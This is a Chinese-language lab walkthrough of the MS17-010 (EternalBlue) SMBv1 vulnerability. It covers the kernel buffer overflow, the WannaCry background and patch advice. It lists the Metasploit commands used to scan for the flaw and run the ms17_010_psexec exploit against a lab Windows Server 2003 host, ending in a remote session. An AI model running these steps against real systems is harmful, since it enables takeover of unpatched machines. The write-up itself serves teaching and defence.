MS17_010利用总结

一、 什么是MS17_010

1. MS17_010也就是我们常说的永恒之蓝漏洞，爆发于2017年4月14日晚，是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限，以此来控制被入侵的计算机。甚至于2017年5月12日， 不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，使全世界大范围内遭受了该勒索病毒，甚至波及到学校、大型企业、政府等机构，只能通过支付高额的赎金才能恢复出文件。不过在该病毒出来不久就被微软通过打补丁修复。
2. 漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时，在大非分页池(内核的数据结构，Large Non-Paged Kernel Pool)上存在缓冲区溢出。函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小。

二、 环境准备

1. Linux Kali
   IP：192.168.3.188
   工具：Metasploit
2. Windows server 2003
   IP：192.168.3.187
   端口：445开放

三、 利用过程

1. Kali打开MSF，输入命令msfconsole

2. search ms17_010,找到可利用exploit,如下图：
   

3. 首先利用第四个去检测是否存在漏洞命令:
   use auxiliary/scanner/smb/smb_ms17_010
   确认存在漏洞后，使用攻击exploit。

4. 利用的的exploit是：
   exploit/windows/smb/ms17_010_psexec。

5. 通过命令show options查看需要设置的参数发现只需要目标IP。
   命令：set rhosts 192.168.3.187

6. 然后就是exploit，如下图所视，已经成功建立sessions。
   

7. 此时已经成功的利用漏洞，然后Windows server 2003的控制权，如下图所视：
   

四、 修复建议
这个漏洞只要去打上微软官方补丁或者不使用SMB服务的情况下，关闭445端口。